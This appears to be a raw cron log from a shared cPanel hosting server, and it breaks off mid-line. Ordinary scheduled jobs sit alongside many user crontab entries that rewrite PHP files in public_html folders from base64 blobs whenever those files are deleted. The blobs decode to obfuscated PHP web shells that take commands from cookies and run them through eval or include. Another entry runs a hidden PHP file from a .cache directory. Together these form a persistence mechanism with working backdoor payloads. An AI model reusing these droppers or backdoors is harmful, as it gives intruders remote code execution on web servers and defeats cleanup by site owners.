base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:21:01 medusa CROND[30073]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:21:01 medusa CROND[30075]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:22:01 medusa CROND[14336]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:22:01 medusa CROND[14337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:22:01 medusa CROND[14335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:22:01 medusa CROND[14338]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:22:01 medusa CROND[14341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:22:01 medusa CROND[14342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:22:01 medusa CROND[14349]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:22:01 medusa CROND[14352]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:22:01 medusa CROND[14353]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:22:01 medusa CROND[14351]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:22:01 medusa CROND[14355]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:22:01 medusa CROND[14354]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:22:01 medusa CROND[14365]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:22:01 medusa CROND[14382]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:23:01 medusa CROND[30616]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:23:01 medusa CROND[30619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:23:01 medusa CROND[30623]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:23:01 medusa CROND[30622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:23:01 medusa CROND[30630]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:23:01 medusa CROND[30634]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:23:01 medusa CROND[30635]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:23:01 medusa CROND[30637]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:23:01 medusa CROND[30638]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:23:01 medusa CROND[30641]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:23:01 medusa CROND[30642]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:23:01 medusa CROND[30647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:24:01 medusa CROND[17483]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:24:01 medusa CROND[17484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:24:01 medusa CROND[17485]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:24:01 medusa CROND[17487]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbS